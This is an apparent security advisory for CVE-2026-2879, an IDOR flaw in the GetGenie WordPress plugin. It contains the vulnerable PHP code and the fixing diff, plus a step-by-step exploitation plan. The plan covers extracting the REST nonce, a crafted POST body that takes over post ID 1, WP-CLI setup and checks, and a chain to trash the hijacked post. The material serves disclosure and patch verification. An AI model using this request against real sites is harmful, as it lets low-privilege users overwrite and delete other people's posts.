CVE-2026-2879

GetGenie <= 4.3.2 - Insecure Direct Object Reference to Authenticated (Author+) Arbitrary Post Overwrite/Deletion

mediumAuthorization Bypass Through User-Controlled Key
5.4
CVSS Score
5.4
CVSS Score
medium
Severity
4.3.3
Patched in
1d
Time to patch

Description

The GetGenie plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 4.3.2. This is due to missing validation on the `id` parameter in the `create()` method of the `GetGenieChat` REST API endpoint. The method accepts a user-controlled post ID and, when a post with that ID exists, calls `wp_update_post()` without verifying that the current user owns the post or that the post is of the expected `getgenie_chat` type. This makes it possible for authenticated attackers, with Author-level access and above, to overwrite arbitrary posts owned by any user — including Administrators — effectively destroying the original content by changing its `post_type` to `getgenie_chat` and reassigning `post_author` to the attacker.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
None
Confidentiality
Low
Integrity
Low
Availability

Technical Details

Affected versions<=4.3.2
PublishedMarch 12, 2026
Last updatedMarch 13, 2026
Affected plugingetgenie

What Changed in the Fix

Changes introduced in v4.3.3

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Research Plan: CVE-2026-2879 - IDOR Arbitrary Post Overwrite in GetGenie ## 1. Vulnerability Summary The **GetGenie** plugin for WordPress (versions <= 4.3.2) is vulnerable to an **Insecure Direct Object Reference (IDOR)** within its REST API implementation. The endpoint `getgenie/v1/geniechat/cr…

Show full research plan

Research Plan: CVE-2026-2879 - IDOR Arbitrary Post Overwrite in GetGenie

1. Vulnerability Summary

The GetGenie plugin for WordPress (versions <= 4.3.2) is vulnerable to an Insecure Direct Object Reference (IDOR) within its REST API implementation. The endpoint getgenie/v1/geniechat/create allows authenticated users with the publish_posts capability (Author level and above) to overwrite any post on the site.

The vulnerability exists because the create() method in app/Api/GetGenieChat.php accepts a user-supplied id parameter. When this ID is provided, the plugin calls wp_update_post() with a payload that forces the post_type to getgenie_chat and the post_author to the current user, without verifying if the user has permission to edit that specific post or if the post is even a chat conversation.

2. Attack Vector Analysis

  • Endpoint: /wp-json/getgenie/v1/geniechat/create
  • Method: POST (The route accepts ALLMETHODS, but the logic expects a JSON body).
  • Authentication Required: Author-level credentials (publish_posts capability).
  • Nonce Required: Yes, a valid WordPress REST API nonce (wp_rest).
  • Preconditions:
    • The attacker must be logged in as a user with the Author role or higher.
    • The attacker must know the ID of the target post they wish to overwrite (e.g., an Administrator's post or a critical Page).

3. Code Flow

  1. Route Registration: In app/Api/GetGenieChat.php, the __construct method registers the route getgenie/v1/geniechat/(?P<action>[\w-]+).
  2. Callback Execution: The actions() method receives the request and, for the create action, calls $this->create($request).
  3. Nonce Check: create() calls wp_verify_nonce($request->get_header('X-WP-Nonce'), 'wp_rest').
  4. Authorization Check: create() checks if (!is_user_logged_in() || !current_user_can('publish_posts')).
  5. Vulnerable Sink:
    • The code decodes the JSON body: $req = json_decode($body);.
    • It extracts the ID: $conversation_id = $req->id ?? '';.
    • If id is present, it prepares a $record array using the supplied ID.
    • It calls wp_update_post($record), which updates the database entry for that ID, changing the post_type to getgenie_chat, the post_author to the attacker's ID, and the post_title to a generated string.

4. Nonce Acquisition Strategy

The plugin exposes the required REST nonce in a global JavaScript object named window.getGenie.

  1. Trigger Script Loading: The function genie_header_script_data() is hooked to admin_head. This means the nonce is available on almost any admin dashboard page for a logged-in user.
  2. Strategy:
    • Log in as the Author user.
    • Navigate to /wp-admin/index.php.
    • Use browser_eval to extract the nonce: window.getGenie?.restNonce.

5. Exploitation Strategy

Step 1: Target Identification

Identify a target post ID owned by the Administrator (e.g., Post ID 1).

Step 2: Nonce Extraction

Use the browser_navigate and browser_eval tools to obtain the nonce as the Author user.

Step 3: Execution

Send a crafted POST request to the vulnerable endpoint.

Request Details:

  • URL: http://localhost:8080/wp-json/getgenie/v1/geniechat/create
  • Method: POST
  • Headers:
    • Content-Type: application/json
    • X-WP-Nonce: [EXTRACTED_NONCE]
  • Body:
{
  "id": 1,
  "templateSlug": "pwned-post",
  "messages": [
    {
      "role": "user",
      "content": "This post has been overwritten by an IDOR vulnerability."
    }
  ]
}

6. Test Data Setup

  1. Administrator Post: Ensure a post exists with ID 1 (standard WordPress default) or create a specific target:
    wp post create --post_type=post --post_title="Sensitive Admin Content" --post_status=publish --post_author=1
  2. Attacker User: Create a user with the Author role:
    wp user create attacker attacker@example.com --role=author --user_pass=password

7. Expected Results

  • The REST API should return a JSON response: {"status": "success", "data": {"conversation_id": 1}, "message": ["Chat updated successfully."] ...}.
  • The target post (ID 1) will have its post_type changed from post to getgenie_chat.
  • The target post's post_author will be changed from 1 (Admin) to the ID of the attacker user.
  • The original content of the post will be effectively "deleted" or inaccessible as a regular post, as it is now a getgenie_chat object.

8. Verification Steps

After the exploit, use WP-CLI to inspect the state of the target post:

  1. Check Post Type and Author:
    wp post get 1 --field=post_type (Expected: getgenie_chat)
    wp post get 1 --field=post_author (Expected: ID of the attacker user)
  2. Check Meta Data:
    wp post meta get 1 getgenie_chat_template_slug (Expected: pwned-post)

9. Alternative Approaches

If the create action is restricted or fails, the plugin also includes a clear method in the same class.

  • clear IDOR: In app/Api/GetGenieChat.php, the clear() method also accepts a user-controlled id. While it includes a check if (!$post || $post->post_type !== 'getgenie_chat' || (int) $post->post_author !== get_current_user_id()), an attacker could potentially chain this with the create exploit:
    1. Use create to change an Admin post to getgenie_chat and steal ownership.
    2. Use clear to permanently delete (trash) that post ID now that the ownership check passes.
Research Findings
Static analysis — not yet PoC-verified

Summary

The GetGenie plugin for WordPress is vulnerable to an Insecure Direct Object Reference (IDOR) via its REST API. Authenticated users with Author-level permissions can overwrite arbitrary posts, including those belonging to administrators, by providing a target post ID to the `create` action of the `geniechat` endpoint, which subsequently changes the post's type and ownership.

Vulnerable Code

// app/Api/GetGenieChat.php

    public function create($request)
    {
        // ... (nonce and capability checks omitted) ...
        if (!is_user_logged_in() || !current_user_can('publish_posts')) {
            return [
                'status'  => 'fail',
                'message' => ['Access denied.'],
            ];
        }

        $body = $request->get_body();
        $req  = json_decode($body);
        $conversation_id = $req->id ?? '';

        if (empty($conversation_id)) {
            // ... (post insertion logic) ...
        } else {
            $record = array(
                'ID'          => $conversation_id,
                'post_title'  => $req->templateSlug . '-' . date('Y-m-d H:i:s'),
                'post_status' => 'publish',
                'post_type'   => 'getgenie_chat',
                'post_author' => get_current_user_id(),
                'meta_input'  => array(
                    'getgenie_chat_template_slug' => $req->templateSlug,
                    'getgenie_chat_messages'      => $req->messages,
                ),
            );
            // Update the post into the database
            wp_update_post($record);
            $message = 'Chat updated successfully.';
        }
        // ...

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/getgenie/4.3.2/app/Api/GetGenieChat.php /home/deploy/wp-safety.org/data/plugin-versions/getgenie/4.3.3/app/Api/GetGenieChat.php
--- /home/deploy/wp-safety.org/data/plugin-versions/getgenie/4.3.2/app/Api/GetGenieChat.php	2026-01-19 09:36:52.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/getgenie/4.3.3/app/Api/GetGenieChat.php	2026-03-11 08:44:08.000000000 +0000
@@ -75,6 +75,15 @@
             $conversation_id = wp_insert_post($record);
             $message = 'Chat created successfully.';
         } else {
+			// Verify the post exists, belongs to current user, and is the correct post type
+			$post = get_post($conversation_id);
+			if (!$post || $post->post_type !== 'getgenie_chat' || (int) $post->post_author !== get_current_user_id()) {
+				return [
+					'status'  => 'fail',
+					'message' => ['Access denied. You can only update your own chat conversations.'],
+				];
+			}
+
             $record = array(
                 'ID'          => $conversation_id,
                 'post_title'  => $req->templateSlug . '-' . date('Y-m-d H:i:s'),

Exploit Outline

1. Identify the post ID of a target post (e.g., an Administrator's page or post). 2. Log in as a user with Author-level permissions (`publish_posts` capability). 3. Obtain a valid REST API nonce (`wp_rest`) from the `window.getGenie.restNonce` global variable available in the WordPress admin dashboard. 4. Craft a POST request to `/wp-json/getgenie/v1/geniechat/create` with the `X-WP-Nonce` header set to the extracted nonce. 5. In the JSON request body, include the target post ID in the `id` field and provide dummy content for `templateSlug` and `messages`. 6. Upon execution, the server-side logic in `create()` will use `wp_update_post()` to modify the target ID. This changes the `post_type` to `getgenie_chat`, resets the `post_author` to the attacker, and overwrites the content with chat metadata, effectively hijacking or destroying the original post.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.